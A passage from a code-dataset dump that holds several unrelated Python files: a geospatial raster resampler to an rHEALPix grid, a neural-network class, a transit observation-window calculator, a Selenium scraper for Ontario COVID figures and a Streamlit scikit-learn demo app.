\"\"\"\n match = AGDC_RE.match(fn)\n if match is None:\n raise ValueError('Invalid AGDC filename: \"{}\"'.format(fn))\n info = match.groupdict()\n raw_sec = float(info['second'])\n int_sec = int(raw_sec)\n microsecond = int(1e6 * (raw_sec % 1))\n dt = pytz.datetime.datetime(year=int(info['year']),\n month=int(info['month']),\n day=int(info['day']),\n hour=int(info['hour']),\n minute=int(info['minute']),\n second=int_sec,\n microsecond=microsecond,\n tzinfo=pytz.utc)\n rv = {\n 'lat': float(info['lat']),\n 'lon': float(info['lon']),\n 'datetime': dt,\n 'prod_code': info['prod_code'],\n 'sensor_id': info['sensor_id'],\n 'sat_id': info['sat_id']\n }\n return rv\n\n\ndef pixel_to_long_lat(geotransform, dataset_projection, col, row):\n \"\"\" Given a pixel position as a column/row, calculates its position in the\n dataset's reference system, then converts it to a latitude and\n longitude in the WGS_84 system \"\"\"\n tx = osr.CoordinateTransformation(dataset_projection, wgs_84_projection)\n lon, lat, height = tx.TransformPoint(*gdal.ApplyGeoTransform(geotransform,\n col, row))\n return lon, lat\n\n\nrhealpix_proj4_string = \"+proj=rhealpix +I +lon_0=0 +a=1 +ellps=WGS84\" \\\n \" +npole=0 +spole=0 +wktext\"\n\nrhealpix_projection = osr.SpatialReference()\nrhealpix_projection.ImportFromProj4(rhealpix_proj4_string)\n\nwgs_84_projection = osr.SpatialReference()\nwgs_84_projection.ImportFromEPSG(4326)\n\n\ndef reproject_dataset(dataset, dataset_projection, cell, resolution_gap):\n \"\"\" Based on https://jgomezdans.github.io/gdal_notes/reprojection.html \"\"\"\n data_to_rhealpix = osr.CoordinateTransformation(dataset_projection,\n rhealpix_projection)\n lonlat_to_rhealpix = osr.CoordinateTransformation(wgs_84_projection,\n rhealpix_projection)\n\n geo_t = dataset.GetGeoTransform()\n x_size = dataset.RasterXSize\n y_size = dataset.RasterYSize\n (ulx, uly, ulz) = data_to_rhealpix.TransformPoint(geo_t[0], geo_t[3])\n (lrx, lry, lrz) = data_to_rhealpix.TransformPoint(\n geo_t[0] + geo_t[1] * x_size, geo_t[3] + geo_t[5] * y_size)\n\n # Calculate the new geotransform\n north_west, _, south_east, _ = cell.vertices(plane=False)\n left, top = north_west\n right, bottom = south_east\n left, top, _ = lonlat_to_rhealpix.TransformPoint(left, top)\n right, bottom, _ = lonlat_to_rhealpix.TransformPoint(right, bottom)\n num_pixels = 3**resolution_gap\n new_geo = (left, (right - left) / num_pixels, 0, top, 0,\n (bottom - top) / num_pixels)\n # Now, we create an in-memory raster\n mem_drv = gdal.GetDriverByName('MEM')\n dest = mem_drv.Create('', num_pixels, num_pixels, dataset.RasterCount,\n dataset.GetRasterBand(1).DataType)\n dest.SetGeoTransform(new_geo)\n dest.SetProjection(rhealpix_projection.ExportToWkt())\n\n # Perform the projection/resampling\n error_code = gdal.ReprojectImage(\n dataset, dest, dataset_projection.ExportToWkt(),\n rhealpix_projection.ExportToWkt(), gdal.GRA_Bilinear)\n assert error_code == 0, \"Reprojection failed\"\n\n array = dest.ReadAsArray()\n assert 2 <= array.ndim <= 3\n if array.ndim == 2:\n # Insert an extra axis for the band. Downstream code screws up\n # otherwise.\n array = array[np.newaxis, :]\n\n assert array.ndim == 3\n assert array.shape[1:] == (num_pixels, num_pixels)\n\n return array\n\n\ndef open_dataset(filename):\n \"\"\" Reads a geotiff or a HDF4 file and returns a gdal dataset \"\"\"\n _, extension = splitext(filename)\n extension = extension.lstrip(extsep)\n if extension == \"tif\":\n return gdal.Open(filename, gdalconst.GA_ReadOnly)\n elif extension == \"hdf\":\n # Yay gdal can open MODIS hdf files! :D\n dataset = gdal.Open(filename, gdalconst.GA_ReadOnly)\n meta = dataset.GetMetadata()\n assert '_FillValue' in meta\n fill_value = meta['_FillValue']\n band = dataset.GetRasterBand(1)\n band.SetNoDataValue(float(fill_value))\n\n # But it doesn't read in the georeferencing system properly ...\n from pyhdf.SD import SD, SDC\n hdf = SD(filename, SDC.READ)\n latitudes = hdf.select('latitude')[:]\n longitudes = hdf.select('longitude')[:]\n\n left = longitudes[0]\n top = latitudes[0]\n\n x_spacing = np.mean([longitudes[i + 1] - longitudes[i]\n for i in range(len(longitudes) - 1)])\n y_spacing = np.mean([latitudes[i + 1] - latitudes[i]\n for i in range(len(latitudes) - 1)])\n\n left -= x_spacing / 2\n top -= y_spacing / 2\n\n geotransform = (left, x_spacing, 0, top, 0, y_spacing)\n\n dataset.SetGeoTransform(geotransform)\n dataset.SetProjection(wgs_84_projection.ExportToWkt())\n\n return dataset\n else:\n assert False, \"Invalid file extension \" + extension \\\n + \", expected 'tif' or 'hdf'\"\n\n\ndef time_format(timestamp):\n \"\"\"Imitate Java's DateTimeFormatter.ISO_INSTANT style for datetimes. It's\n not exactly ISO_INSTANT, because we're truncating to second precision.\"\"\"\n as_utc = timestamp.astimezone(pytz.UTC)\n return as_utc.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n\ndef png_buffer(array):\n \"\"\"Convert an array to PNG, handling transparency in an\n at-least-partially-sane manner.\"\"\"\n assert array.ndim == 2\n\n im = toimage(array)\n alpha = toimage(array != 0)\n im.putalpha(alpha)\n\n # Return format is a buffer of PNG-encoded data\n fp = BytesIO()\n im.save(fp, format='png')\n\n return fp.getbuffer()\n\n\ndef from_file(filename, dataset, hdf5_file, max_resolution, resolution_gap,\n ds_name, timestamp):\n \"\"\" Converts a gdal dataset into a hdf5 rhealpix file \"\"\"\n width = dataset.RasterXSize\n height = dataset.RasterYSize\n geotransform = dataset.GetGeoTransform()\n rddgs = dggs.RHEALPixDGGS()\n\n dataset_projection = osr.SpatialReference()\n error_code = dataset_projection.ImportFromWkt(dataset.GetProjection())\n assert error_code == 0, \"Dataset doesn't have a projection\"\n\n upper_left = pixel_to_long_lat(geotransform, dataset_projection, 0, 0)\n lower_right = pixel_to_long_lat(geotransform, dataset_projection, width,\n height)\n\n print(geotransform, upper_left, lower_right)\n\n try:\n bounding_cell = rddgs.cell_from_region(upper_left,\n lower_right,\n plane=False)\n outer_res = bounding_cell.resolution\n except AttributeError:\n # dggs library produces this error, maybe when even top-level cells are\n # too small?\n outer_res = 0\n\n # Time suffix will be appended to each \"pixel\" and \"png_band_\" record\n time_suffix = '@' + time_format(timestamp)\n\n # Will return this later\n num_bands = None\n\n for resolution in range(outer_res, max_resolution + 1):\n print(\"Processing resolution \", resolution, \"/\", max_resolution, \"...\")\n\n cells = rddgs.cells_from_region(resolution,\n upper_left,\n lower_right,\n plane=False)\n for cell in chain(*cells):\n north_west, north_east, south_east, south_west = cell.vertices(\n plane=False)\n if cell.region() != \"equatorial\":\n continue # Yucky polar cells, ignore for now, maybe fix later\n\n data = reproject_dataset(dataset, dataset_projection, cell,\n resolution_gap)\n if not np.any(data):\n continue\n\n pixel_value = np.array([(np.mean(x[np.nonzero(x)])\n if np.any(x[np.nonzero(x)]) else 0)\n for x in data])\n assert pixel_value.ndim == 1\n num_bands = pixel_value.size\n\n # Write the HDF5 group in one go. This is faster than manipulating\n # the dataset directly.\n cell_group = hdf5_file.create_group(cell_name(cell))\n cell_group.attrs['bounds'] = np.array([\n north_west, north_east, south_east, south_west, north_west\n ])\n cell_group.attrs['centre'] = np.array(cell.centroid(plane=False))\n\n ds_group = cell_group.create_group(ds_name)\n ds_group['pixel' + time_suffix] = pixel_value\n\n if len(data.shape) == 2:\n data = np.array([data])\n\n for band_num in range(data.shape[0]):\n # Write out each band as a separate PNG\n band_data = data[band_num]\n out_bytes = png_buffer(band_data)\n\n png_ds_name = ('png_band_%i' % band_num) + time_suffix\n # H5T_OPAQUE (maps to np.void in h5py) doesn't work in JHDF5,\n # so we use an unsigned byte array for this (actually binary)\n # data.\n ds_group[png_ds_name] = np.frombuffer(out_bytes, dtype='uint8')\n\n return num_bands\n\n\ndef timestamp_arg(str_value):\n \"\"\"argparse argument type that turns a supplied string value into a\n zone-aware datetime.\"\"\"\n try:\n rv = parse_date(str_value)\n except ValueError:\n raise ArgumentTypeError(\"Couldn't parse date string '%s'\" % str_value)\n if rv.tzinfo is None:\n raise ArgumentTypeError(\"Date string '%s' has no timezone\" % str_value)\n return rv\n\n\nparser = ArgumentParser()\nparser.add_argument('input',\n type=str,\n help='path to input GeoTIFF or MODIS HDF4 file')\nparser.add_argument('output', type=str, help='path to output HDF5 file')\nparser.add_argument('--max-res',\n type=int,\n dest='max_res',\n default=6,\n help='maximum DGGS depth to resample at')\nparser.add_argument('--ds-name',\n type=str,\n dest='ds_name',\n default=None,\n help='internal name for the new dataset')\nparser.add_argument('--timestamp',\n type=timestamp_arg,\n dest='timestamp',\n default=None,\n help='override default timestamp')\nparser.add_argument('--attributes',\n type=FileType('r'),\n default=None,\n help='.ttl file containing qb:Attributes for the dataset')\nparser.add_argument(\n '--res-gap',\n type=int,\n dest='res_gap',\n default=5,\n help='number of DGGS levels to go down when generating tile data')\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n print('Reading from %s and writing to %s' % (args.input, args.output))\n print('Resampling to depth %i with gap %i (so %i pixels per tile)' %\n (args.max_res, args.res_gap, 9**args.res_gap))\n\n dataset = open_dataset(args.input)\n ds_name = args.ds_name\n timestamp = args.timestamp\n try:\n tif_meta = parse_agdc_fn(basename(args.input))\n timestamp = tif_meta['datetime']\n if ds_name is None:\n ds_name = '{sat_id}_{sensor_id}_{prod_code}'.format(**tif_meta)\n except ValueError:\n print(\"Could not parse filename. Is it in the AGDC format?\",\n file=sys.stderr)\n if ds_name is None:\n ds_name = 'unknown'\n if timestamp is None:\n # give dataset a stupid timestamp just to spite the user\n timestamp = pytz.datetime.datetime(1923, 6, 4, tzinfo=pytz.UTC)\n\n print('Using dataset name \"%s\" and timestamp \"%s\"' % (ds_name, timestamp))\n\n start_time = time()\n with h5py.File(args.output, \"w\") as hdf5_file:\n # from_file() creates the general DGGS structure (but not top-level\n # metadata)\n num_bands = from_file(args.input, dataset, hdf5_file, args.max_res,\n args.res_gap, ds_name, timestamp)\n\n # this adds metadata into the top level of the file\n if args.attributes is not None:\n attr_ttl = args.attributes.read()\n else:\n attr_ttl = ''\n name_pre = '/products/' + ds_name\n # Was using np.frombuffer(attr_ttl.encode('utf-8'), dtype='uint8'), but\n # I think it makes more sense to store this (non-binary) data as a\n # H5T_STRING.\n hdf5_file[name_pre + '/meta'] = attr_ttl\n hdf5_file[name_pre + '/numbands'] = num_bands\n hdf5_file[name_pre + '/tilesize'] = 3**args.res_gap\n\n elapsed = time() - start_time\n print(\"Done! Took %.2fs\" % elapsed)\n","repo_name":"ANU-Linked-Earth-Data/resampler","sub_path":"resampler.py","file_name":"resampler.py","file_ext":"py","file_size_in_byte":14551,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"18973645485","text":"import numpy as np\n\nfrom app.neuron_layers.hidden_layer import HiddenNeuronLayer\nfrom app.neuron_layers.output_layer import OutputNeuronLayer\n\nINPUT_SIZE = 784\nOUTPUT_SIZE = 10\n\n\nclass NeuralNetwork:\n def __init__(self, hidden_layer_size: int, learning_rate: float, epoch: int):\n self._layers = [\n HiddenNeuronLayer(hidden_layer_size, INPUT_SIZE),\n OutputNeuronLayer(OUTPUT_SIZE, hidden_layer_size)\n ]\n self._learning_rate = learning_rate\n self._epoch = epoch\n\n def _feed_forward(self, inputs: list):\n current_inputs = inputs\n for layer in self._layers:\n current_inputs = layer.feed_forward(current_inputs)\n\n return current_inputs\n\n def _cross_entropy_error(self, computed: list, targets: list):\n total_error = 0\n for neuron_output, expected_output in zip(computed, targets):\n error = expected_output * np.log(neuron_output) + (1 - expected_output) * np.log(1 - neuron_output)\n total_error += error\n\n return -total_error/len(computed)\n\n def train(self, training_inputs: list, training_outputs: list):\n for _ in range(self._epoch):\n output = self._feed_forward(training_inputs)\n print(\"Network output: {}\".format(output))\n print(\"Expected output: {}\".format(training_outputs))\n\n total_error = self._cross_entropy_error(output, training_outputs)\n print(\"Total error: {}\".format(total_error))\n\n error_derivatives_to_input = self._layers[1].update_weights(training_outputs,\n self._layers[0].neurons,\n self._learning_rate)\n self._layers[0].update_weights(training_inputs,\n error_derivatives_to_input,\n self._layers[1].neurons,\n self._learning_rate)\n pass\n","repo_name":"alekseyfa/CNN","sub_path":"app/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18845257259","text":"def get_minutes(hh_mm):\r\n \"\"\"Convert HH:MM format to total minutes.\"\"\"\r\n hours, minutes = map(int, hh_mm.split(':'))\r\n return hours * 60 + minutes\r\n\r\ndef format_time(minutes):\r\n \"\"\"Convert total minutes to HH:MM format.\"\"\"\r\n hours = minutes // 60\r\n minutes %= 60\r\n return f\"{hours:02}:{minutes:02}\"\r\n\r\ndef main():\r\n while True:\r\n # Ask for expected transit duration\r\n transit_duration_str = input(\"Enter the expected transit time in HH:MM format: \")\r\n\r\n # Convert the HH:MM string to total minutes\r\n transit_duration_minutes = get_minutes(transit_duration_str)\r\n\r\n # Calculate the Optimal and Less Optimal cases\r\n optimal_minutes = transit_duration_minutes * 3\r\n less_optimal_minutes = transit_duration_minutes * 2\r\n\r\n outside_transit_optimal = transit_duration_minutes # 1x of transit duration\r\n outside_transit_less_optimal = transit_duration_minutes // 2 # 0.5x of transit duration\r\n\r\n # Print the results\r\n print(\"\\n\\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\")\r\n print(f\"\\nOptimal Total Observation Window\\n(HH:MM): {format_time(optimal_minutes)}\")\r\n print(f\"\\n[Before Transit Time {format_time(outside_transit_optimal)}]\\n[Transit Duration {transit_duration_str}]\\n[After Transit Time {format_time(outside_transit_optimal)}]\")\r\n\r\n print(\"\\n\\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\")\r\n print(f\"\\nLess Optimal Total Observation Window\\n(HH:MM): {format_time(less_optimal_minutes)}\")\r\n print(f\"\\n[Before Transit Time {format_time(outside_transit_less_optimal)}]\\n[Transit Duration {transit_duration_str}]\\n[After Transit Time {format_time(outside_transit_less_optimal)}]\")\r\n\r\n # Ask the user if they want to run the program again\r\n retry = input(\"\\n\\n\\nWould you like to run the program again?\\n(y/yes or hit Enter to end) \").strip().lower()\r\n if retry not in ['y', 'yes']:\r\n break\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"IraLeeBell/Exoplanet-Research-ASU-SESE","sub_path":"Exoplanet-Research/optimal_and_less_optimal_total_observation.py","file_name":"optimal_and_less_optimal_total_observation.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"14676456564","text":"import scrapy\nimport time\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import NoSuchElementException\nimport json \nfrom datetime import datetime as dt \n\n\n\n\nclass TableSpider(scrapy.Spider):\n name = \"table_ontario\"\n #allowed_domains = ['ontario.ca']\n start_urls = ['https://www.ontario.ca/page/how-ontario-is-responding-covid-19#section-0']\n\n def __init__(self):\n self.driver = webdriver.Chrome(ChromeDriverManager().install()) \n\n def parse_table(self, table):\n rows = table.find_elements(By.TAG_NAME, \"tr\")\n for row in rows:\n row_dict = {}\n for ix, element in enumerate(row.find_elements(By.TAG_NAME, \"td\")):\n row_dict[self.headers[ix]] = element.text\n self.data.append(row_dict)\n\n\n def parse(self, response):\n self.driver.get(response.url)\n time.sleep(5)\n\n self.data = []\n #self.headers = [\"case number\", \"patient\", \"public health unit\", \"transmission\", \"status\"] \n\n #Might need these css locators for tables in past\n #//*[@id=\"pagebody\"]/table[2]/tbody\n #//*[@id=\"pagebody\"]/table[3]/tbody\n table = self.driver.find_element_by_xpath('//*[@id=\"pagebody\"]/table/tbody')\n rows = table.find_elements(By.TAG_NAME, \"tr\")\n\n total = {}\n for row in rows:\n elements = row.find_elements(By.TAG_NAME, \"td\")\n total[elements[0].text] = elements[1].text\n\n\n date = dt.now().strftime('%Y-%m-%dT%H:%M:%S')\n\n path = '../../data/ontario/total_ontario_' +date+'.json'\n with open(path, 'w') as outfile:\n json.dump(total, outfile)\n\n #self.driver.close()","repo_name":"nickbent/covid-quebec-ontario","sub_path":"src/scrapers/ontario/ontario/spiders/covid_tables.py","file_name":"covid_tables.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"75018180424","text":"import re\n\nimport altair as alt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport streamlit as st\n\n# Regression\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import Lasso\nfrom sklearn.linear_model import Ridge\nfrom sklearn.linear_model import TheilSenRegressor\nfrom sklearn.linear_model import RANSACRegressor\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.svm import SVR\n\n# Pipelines\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.pipeline import make_pipeline\n\n# Classification\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\n\n# Utility\nfrom sklearn.model_selection import train_test_split\n\n# Datasets\nfrom sklearn.datasets import load_iris\nfrom sklearn.datasets import load_digits\nfrom sklearn.datasets import load_wine\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.datasets import load_boston\nfrom sklearn.datasets import load_diabetes\n\n\ndef calc_height(n_cols):\n if n_cols <= 10:\n return 200\n return 15 * n_cols\n\n\nproblem_type = st.sidebar.selectbox(\n label='Problem type',\n options=[\n \"Classification\",\n \"Regression\"\n ]\n)\n\nif problem_type == 'Classification':\n algorithms = {\n \"Logistic Regression\",\n \"Decision Tree\",\n \"kNN\",\n \"SVM\"\n }\n datasets = {\n \"iris\": (load_iris, 'sklearn'),\n \"digits\": (load_digits, 'sklearn'),\n \"wine\": (load_wine, 'sklearn'),\n \"breast_cancer\": (load_breast_cancer, 'sklearn')\n }\nelif problem_type == 'Regression':\n algorithms = {\n \"Linear Regression\",\n \"Decision Tree\",\n \"kNN\",\n \"SVM\"\n }\n datasets = {\n \"boston\": (load_boston, 'sklearn'),\n \"diabetes\": (load_diabetes, 'sklearn'),\n \"tips\": ('tips', 'seaborn'),\n \"mpg\": ('mpg', 'seaborn')\n }\n\ndataset = st.sidebar.selectbox(\n label='Dataset',\n options=datasets\n)\n\nalgorithm = st.sidebar.selectbox(\n label='Algorithm',\n options=algorithms\n)\n\ndef load_dataset(args):\n def parse_description(description):\n description = re.sub(r'\\.\\. [a-z]+:: (.*)\\n', '**\\\\1:**', description)\n description = re.sub(r'\\.\\. _[a-z_]+:', '', description)\n return description\n\n if args[1] == 'sklearn':\n loader = args[0]()\n data = pd.DataFrame(\n data=loader['data'], \n columns=loader['feature_names']\n )\n if problem_type == 'Classification':\n data['class'] = pd.Series(loader['target']).map(\n {key:value for key, value in enumerate(loader['target_names'])}\n )\n elif problem_type == 'Regression':\n data['response'] = loader['target']\n description = parse_description(loader['DESCR'])\n if args[1] == 'seaborn':\n data = sns.load_dataset(args[0])\n if args[0] == 'tips':\n data['sex'] = (data['sex'] == 'Male').astype(int)\n data['smoker'] = (data['smoker'] == 'Yes').astype(int)\n data = data.drop('day', axis=1).join(pd.get_dummies(data['day'], prefix='day'))\n data = data.drop('time', axis=1).join(pd.get_dummies(data['time'], prefix='time'))\n data = data.rename(columns={'tip': 'response'})\n if args[0] == 'mpg':\n data = data.drop('name', axis=1)\n data = data.drop('origin', axis=1).join(pd.get_dummies(data['origin'], prefix='origin'))\n data = data.rename(columns={'mpg': 'response'})\n data = data.dropna()\n description = ''\n\n return data, description\n\ndata, description = load_dataset(datasets[dataset])\nshow_description = st.sidebar.checkbox('Show dataset description')\nif show_description:\n st.write(description)\n\nst.markdown('## Dataset Sample')\nst.dataframe(data.sample(10, random_state=42))\n\nif problem_type == 'Classification':\n y_key = 'class'\nif problem_type == 'Regression':\n y_key = 'response'\n\ndata_train, data_test = train_test_split(\n data.reset_index(), \n test_size=0.3, \n stratify=data[y_key] if problem_type == 'Classification' else None, \n random_state=42\n)\n\ndata_train = data_train.set_index('index').sort_index()\ndata_test = data_test.set_index('index').sort_index()\nX_train, y_train = data_train.drop(y_key, axis=1), data_train[y_key]\nX_test, y_test= data_test.drop(y_key, axis=1), data_test[y_key]\n\nif problem_type == 'Classification':\n pos_label = {\n 'breast_cancer': 'malignant'\n }\n pos_label = pos_label[dataset] if dataset in pos_label else 1\n if algorithm == 'Logistic Regression':\n penalty = st.selectbox('Regularization', ['l1', 'l2', 'none'])\n if penalty != 'none':\n alpha = st.slider('alpha', 0.0, 1.0, 0.0, 0.01)\n alpha = 1e-10 if alpha == 0 else alpha\n model = LogisticRegression(penalty=penalty, solver='liblinear', C=1/alpha, random_state=42)\n else:\n model = LogisticRegression(penalty=penalty, solver='lbfgs', random_state=42)\n if algorithm == 'Decision Tree':\n max_depth = st.slider('max_depth', 1, 100, 10, 1)\n criterion = st.select_slider('criterion', ['gini', 'entropy'])\n splitter = st.select_slider('splitter', ['best', 'random'])\n min_samples_leaf = st.slider('min_samples_leaf', 1, 100, 10, 1)\n model = DecisionTreeClassifier(\n criterion=criterion, \n splitter=splitter, \n max_depth=max_depth,\n min_samples_leaf=min_samples_leaf,\n random_state=42\n )\n if algorithm == 'kNN':\n n_neighbors = st.slider('n_neighbors', 1, 100, 10, 1)\n weights = st.select_slider('weights', ['uniform', 'distance'])\n metric = st.select_slider('metric', ['euclidean', 'manhattan', 'chebyshev'])\n model = KNeighborsClassifier(\n n_neighbors=n_neighbors,\n weights=weights,\n metric=metric\n )\n if algorithm == 'SVM':\n C = st.slider('C', 0.0, 1.0, 0.0, 0.01)\n C = 1e-10 if C == 0 else C\n kernel = st.select_slider('kernel', ['linear', 'rbf', 'sigmoid'])\n gamma = st.select_slider('gamma', ['auto', 'scale'])\n model = SVC(\n C=C,\n kernel=kernel,\n gamma=gamma,\n probability=True,\n random_state=42\n )\n\nif problem_type == 'Regression':\n if algorithm == 'Linear Regression':\n base_model = LinearRegression(\n fit_intercept=True,\n normalize=False,\n )\n degree = st.slider('degree', 1, 5, 1, 1)\n regularization = st.select_slider('regularization', ['none', 'l1', 'l2'])\n if regularization == 'none':\n robust = st.select_slider('robust', ['none', 'TheilSen', 'RANSAC'])\n if robust == 'none':\n model = base_model\n if robust == 'TheilSen':\n model = TheilSenRegressor(random_state=42)\n if robust == 'RANSAC':\n model = RANSACRegressor(base_model, min_samples=0.5, random_state=42)\n else:\n alpha = st.slider('alpha', 0.0, 1.0, 0.0, 0.01)\n if regularization == 'l1':\n model = Lasso(alpha=alpha, random_state=42)\n if regularization == 'l2':\n model = Ridge(alpha=alpha, random_state=42)\n model = make_pipeline(PolynomialFeatures(degree, include_bias=False), model)\n if algorithm == 'Decision Tree':\n max_depth = st.slider('max_depth', 1, 100, 10, 1)\n criterion = st.select_slider('criterion', ['mse', 'mae'])\n splitter = st.select_slider('splitter', ['best', 'random'])\n min_samples_leaf = st.slider('min_samples_leaf', 1, 100, 10, 1)\n model = DecisionTreeRegressor(\n criterion=criterion, \n splitter=splitter, \n max_depth=max_depth,\n min_samples_leaf=min_samples_leaf,\n random_state=42\n )\n if algorithm == 'kNN':\n n_neighbors = st.slider('n_neighbors', 1, 100, 10, 1)\n weights = st.select_slider('weights', ['uniform', 'distance'])\n metric = st.select_slider('metric', ['euclidean', 'manhattan', 'chebyshev'])\n model = KNeighborsRegressor(\n n_neighbors=n_neighbors,\n weights=weights,\n metric=metric\n )\n if algorithm == 'SVM':\n C = st.slider('C', 0.0, 1.0, 0.0, 0.01)\n C = 1e-10 if C == 0 else C\n kernel = st.select_slider('kernel', ['linear', 'rbf', 'sigmoid'])\n gamma = st.select_slider('gamma', ['auto', 'scale'])\n model = SVR(\n C=C,\n kernel=kernel,\n gamma=gamma\n )\n\nmodel.fit(X_train, y_train)\ny_pred_train = model.predict(X_train)\ny_pred_test = model.predict(X_test)\n\nst.markdown('### Metrics')\nif problem_type == 'Classification':\n from sklearn.metrics import accuracy_score\n from sklearn.metrics import balanced_accuracy_score\n from sklearn.metrics import f1_score\n from sklearn.metrics import roc_auc_score\n\n if hasattr(model, 'decision_function'):\n y_proba_train = model.decision_function(X_train)\n y_proba_test = model.decision_function(X_test)\n if hasattr(model, 'predict_proba'):\n if y_train.nunique() == 2:\n y_proba_train = model.predict_proba(X_train)[:, 1]\n y_proba_test = model.predict_proba(X_test)[:, 1]\n else:\n y_proba_train = model.predict_proba(X_train)\n y_proba_test = model.predict_proba(X_test)\n\n train_metrics = {\n 'accuracy': \n np.around(accuracy_score(y_train, y_pred_train), 3), \n 'balanced_accuracy': \n np.around(balanced_accuracy_score(y_train, y_pred_train), 3),\n f\"f1_{'binary' if y_train.nunique() == 2 else 'weighted'}\": \n np.around(f1_score(y_train, y_pred_train, average='binary' if y_train.nunique() == 2 else 'weighted', pos_label=pos_label), 3),\n \"roc_auc\":\n np.around(roc_auc_score(y_train, y_proba_train, multi_class='ovr'), 4)\n }\n\n test_metrics = {\n 'accuracy': \n np.around(accuracy_score(y_test, y_pred_test), 3), \n 'balanced_accuracy': \n np.around(balanced_accuracy_score(y_test, y_pred_test), 3),\n f\"f1_{'binary' if y_train.nunique() == 2 else 'weighted'}\": \n np.around(f1_score(y_test, y_pred_test, average='binary' if y_train.nunique() == 2 else 'weighted', pos_label=pos_label), 3),\n \"roc_auc\":\n np.around(roc_auc_score(y_test, y_proba_test, multi_class='ovr'), 4)\n }\n\n st.write(pd.DataFrame([train_metrics, test_metrics], index=['train_set', 'test_set']))\n\n if hasattr(model, 'coef_') and algorithm not in ['SVM']:\n st.markdown('### Coefficients')\n plot_data = model.coef_\n plot_xlabel = 'Coefficient'\n elif hasattr(model, 'feature_importances_'):\n st.markdown('### Feature Importances')\n plot_data = model.feature_importances_\n plot_xlabel = 'Feature importance'\n else:\n plot_data = None\n\n if (y_train.nunique() == 2 or algorithm == 'Decision Tree') and plot_data is not None:\n coef = pd.Series(\n data=np.squeeze(plot_data), \n index=X_train.columns,\n name='coef'\n )\n coef = coef.rename_axis('column', axis=0)\\\n .to_frame()\\\n .reset_index()\n\n st.write(\n alt.Chart(coef).mark_bar().encode(\n x=alt.X('coef', title=plot_xlabel),\n y=alt.Y('column:O', title='Variable'),\n tooltip=alt.Tooltip('coef', format=\".4f\")\n ).properties(\n width=700,\n height=calc_height(X_train.shape[1])\n )\n )\n elif plot_data is not None:\n coef = pd.DataFrame(np.squeeze(plot_data), columns=X_train.columns).reset_index().melt(id_vars='index')\n maxV = np.ceil(np.max([np.abs(np.min(plot_data)), np.abs(np.max(plot_data))]))\n base = alt.Chart(coef).encode(\n x=alt.X('index:O', title='Class'),\n y=alt.Y('variable:O', title='Variable'),\n ).properties(\n width=700,\n height=calc_height(X_train.shape[1]) + 200\n )\n\n heatmap = base.mark_rect().encode(\n color=alt.Color('value', scale=alt.Scale(scheme='redblue', domain=[-maxV, 0, maxV]))\n )\n\n text = base.mark_text(baseline='middle').encode(\n text=alt.Text('value', format=\".4f\" if y_train.nunique() < 5 else \".2f\")\n )\n\n st.write(\n heatmap + text\n )\n\n st.markdown('### Confusion Matrix')\n from sklearn.metrics import confusion_matrix\n\n def create_confusion(X, y, model, title):\n confusion = pd.DataFrame(confusion_matrix(y, model.predict(X), normalize='true'))\n confusion = confusion.reset_index().melt(id_vars='index')\n base = alt.Chart(confusion).encode(\n x=alt.X('index:O', title='Predicted Values'),\n y=alt.Y('variable:O', title='True Values'),\n ).properties(\n width=300,\n height=300,\n title=title\n )\n heatmap = base.mark_rect().encode(\n color=alt.Color('value', scale=alt.Scale(scheme='blues', domain=[0, 1]))\n )\n text = base.mark_text(baseline='middle').encode(\n text=alt.Text('value', format=\".2f\")\n )\n return (heatmap + text)\n\n st.write(\n alt.hconcat(\n create_confusion(X_train, y_train, model, 'Train set'),\n create_confusion(X_test, y_test, model, 'Test set')\n )\n )\n\n\n if y_train.nunique() == 2:\n st.markdown('### ROC Curve')\n from sklearn.metrics import roc_curve, auc\n\n def create_roc(X, y, model, pos_label, title):\n if algorithm in ['Logistic Regression']:\n decision = model.decision_function(X)\n if algorithm in ['Decision Tree', 'kNN', 'SVM']:\n decision = model.predict_proba(X)[:, 1]\n\n # Compute ROC curve and ROC area for each class\n fpr, tpr, _ = roc_curve(y, decision, pos_label=pos_label)\n roc_auc = auc(fpr, tpr)\n if roc_auc == 0.50:\n fpr, tpr, _ = roc_curve(y, decision, pos_label=0)\n roc_auc = auc(fpr, tpr)\n roc_df = pd.DataFrame([fpr, tpr]).T.rename(columns={0: 'fpr', 1: 'tpr'})\n base = alt.Chart(roc_df).mark_line().encode(\n x=alt.X('fpr', title='False Positive Rate'),\n y=alt.Y('tpr', title='True Positive Rate')\n ).properties(\n width=300,\n height=300,\n title=f\"{title} (AUC: {np.around(roc_auc, 4)} )\"\n )\n line = alt.Chart(\n pd.DataFrame({'x': [0, 1], 'y': [0, 1]})).mark_line(color='grey').encode(\n alt.X('x'),\n alt.Y('y'),\n )\n return (base + line)\n\n st.write(\n alt.hconcat(\n create_roc(X_train, y_train, model, pos_label, 'Train set'),\n create_roc(X_test, y_test, model, pos_label, 'Test set')\n )\n )\n\nif problem_type == 'Regression':\n from sklearn.metrics import r2_score\n from sklearn.metrics import mean_absolute_error\n from sklearn.metrics import mean_squared_error\n\n train_metrics = {\n 'r2_score': 